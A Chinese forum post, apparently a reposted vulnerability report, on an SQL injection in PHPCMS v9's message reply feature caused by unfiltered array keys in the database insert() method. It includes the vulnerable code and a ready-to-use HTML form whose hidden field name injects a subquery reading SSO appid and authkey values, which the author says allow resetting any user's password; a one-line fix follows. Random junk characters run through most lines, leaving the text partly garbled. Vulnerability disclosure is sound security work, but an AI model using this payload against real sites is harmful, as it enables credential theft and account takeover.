|
|
简要描述:
3 {! m; I4 W6 u9 ]' Y$ \6 I: D- N" p& P$ z6 O- n$ K, c- x
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
! i2 T/ R6 G: L8 ^& K2 k" v* L- O# y9 \$ z/ V3 J3 J
明天再更新下一个漏洞。
8 z' `4 ?) B0 ?- i' l$ B7 Q详细说明:
/ o9 S" T3 d( K9 j, N5 j在/phpcms9/phpcms/modules/message/index.php中有代码如下:7 F8 ^) ]/ I9 U
) |- k2 u, h+ f. h, |6 H t$messageid = $this->message_db->insert($_POST['info'],true);7 v5 G G0 K' w& [
3 H7 T; R7 i% d
4 {' ^& p/ _+ C* d& r: e! X
insert方法是key value的,代码如下:* ~9 H6 q( |) B" g9 a
1 U' z$ M9 E" x1 s' ` {public function insert($data, $table, $return_insert_id = false, $replace = false) {) {( L1 _+ D# H+ R: G
if(!is_array( $data ) || $table == '' || count($data) == 0) {1 A$ X0 R$ k* o4 ]
return false;
1 b- t6 O: z6 X; Q+ x8 [ }3 C$ d4 v" b' r) v& G$ J
! k% ?' G6 C. ]" t. [$ y3 c7 i
$fielddata = array_keys($data);
2 D& F% W* e, m0 k( W $valuedata = array_values($data);. k# z6 `) t( h0 N6 ^
array_walk($fielddata, array($this, 'add_special_char'));
. B' A |; K" J( r+ J array_walk($valuedata, array($this, 'escape_string'));
% _' [& H+ A m/ c* ^) u# O/ K0 [0 I/ d. D - Z' S- N" W6 h
$field = implode (',', $fielddata);' c: z/ d- V& v; b; p4 o, S
$value = implode (',', $valuedata);7 ?5 ?4 s& Y1 I1 L2 @
+ V V" m' O1 {( f8 W G( {& F $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';# W' |0 e+ A" w) d/ v& z1 @4 r! E: s
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';: h* N4 m7 A. `2 W& u
$return = $this->execute($sql);: X' g: h+ U! r9 I4 _! }/ X
return $return_insert_id ? $this->insert_id() : $return;
' T* b8 s* t* b2 O/ t }
0 [0 U, m9 m9 T& i4 f8 T. d6 J7 N9 Y
, G4 }* ^4 V! u; t/ ]$ r( @; ?嗯,很遗憾的是
+ D. Y a5 r# _- a
9 C8 O4 T$ W' r. y( A% karray_walk($fielddata, array($this, 'add_special_char'));* |1 m% u4 o s5 W( ~+ W# E, g- _
& k) B) v2 Q5 S9 Y. X# F/ r# Y. R8 I1 L
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。1 P: ]* B2 J' d) n( p
, g4 z H7 ], I2 l' h
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
: X; x* r0 q; P& O6 B( l4 l. f4 E% y: |9 B( L9 ~
漏洞证明:
: Z# N& Y$ _. M$ j" \# H3 l读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。' ^* N; m# s8 S" \% t
3 ]7 x3 [$ G u& M+ F2 [2 Z! |4 W, x G( u+ _7 v) b
表单如下:用户名什么的得自己改一改。9 q8 X; c0 ^. ?0 [5 G* N
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
; R# s! W1 j1 F<table width="100%" cellspacing="0" class="table_form">8 E6 v: B* u- Q' ]
<tr>
, n' }0 Y* R) I6 H: J; x# m, m<th>标 题:</th>
! O d: t W$ |<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
5 b' k, X8 U) }3 S) g</tr>
6 s9 F- D* E' o% D<tr>
! ~$ C# }+ O6 |& b( C) `0 m<th>内 容:</th>1 } H$ w7 N. w8 c, w! E. [; X3 s3 S
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
( S' ~' p: q0 A) t2 @. D2 B, b9 V7 A; j</tr>5 Y& p& l6 ^1 b
<input type="hidden" name="info[replyid]" value="2" /> 2 S3 j( l2 z7 |4 _; L
<input type="hidden" name="info[send_to_id]" value="cc" />
! P, }! |9 z* s* n/ H<input type="hidden" name="info[send_from_id]" value="hh">: T' `. Q8 o/ D) Q
<!-- 漏洞的利用重点在这里开始 -->4 i5 J; h3 S3 f6 e5 ]5 U! Y4 V
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> 1 `: H. D+ @/ ?/ u& D9 x
<!-- 漏洞的利用重点在这里结束 -->) D% y1 m9 P8 C9 |/ s' d2 w0 w
<tr>* C! ^9 n/ D0 m/ l- c4 A
<th>验证码:</th>9 l! j K0 C$ k7 O- V2 ?& P6 _; i
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
& w2 I* `) J5 N: ], p, I</tr>! T. u, s# F3 K
<tr>& n$ Z# ~3 j+ W
<td></td>& w- ]: v+ {7 D/ T% K
<td colspan="2"><label>, f+ Z1 Z& Z# j1 b: y$ n" J* m
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
9 j; }: |4 h$ f5 } \</label></td>
' h8 K8 t! f( K! Q8 P# |% K5 a/ w</tr>
6 Y. Q- l3 ~8 W, e% y) b</table>
# D! `" p4 h' z* w( V</form>% J! S- n [6 W0 J# f
在add_special_char函数内对key做过滤就可以了。# [9 E' @, y) B. v) f \
, R1 f; u' ]# d6 [3 z3 J j9 O1 ^ u6 }' A) K
# v+ U! v6 ^6 B' M
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|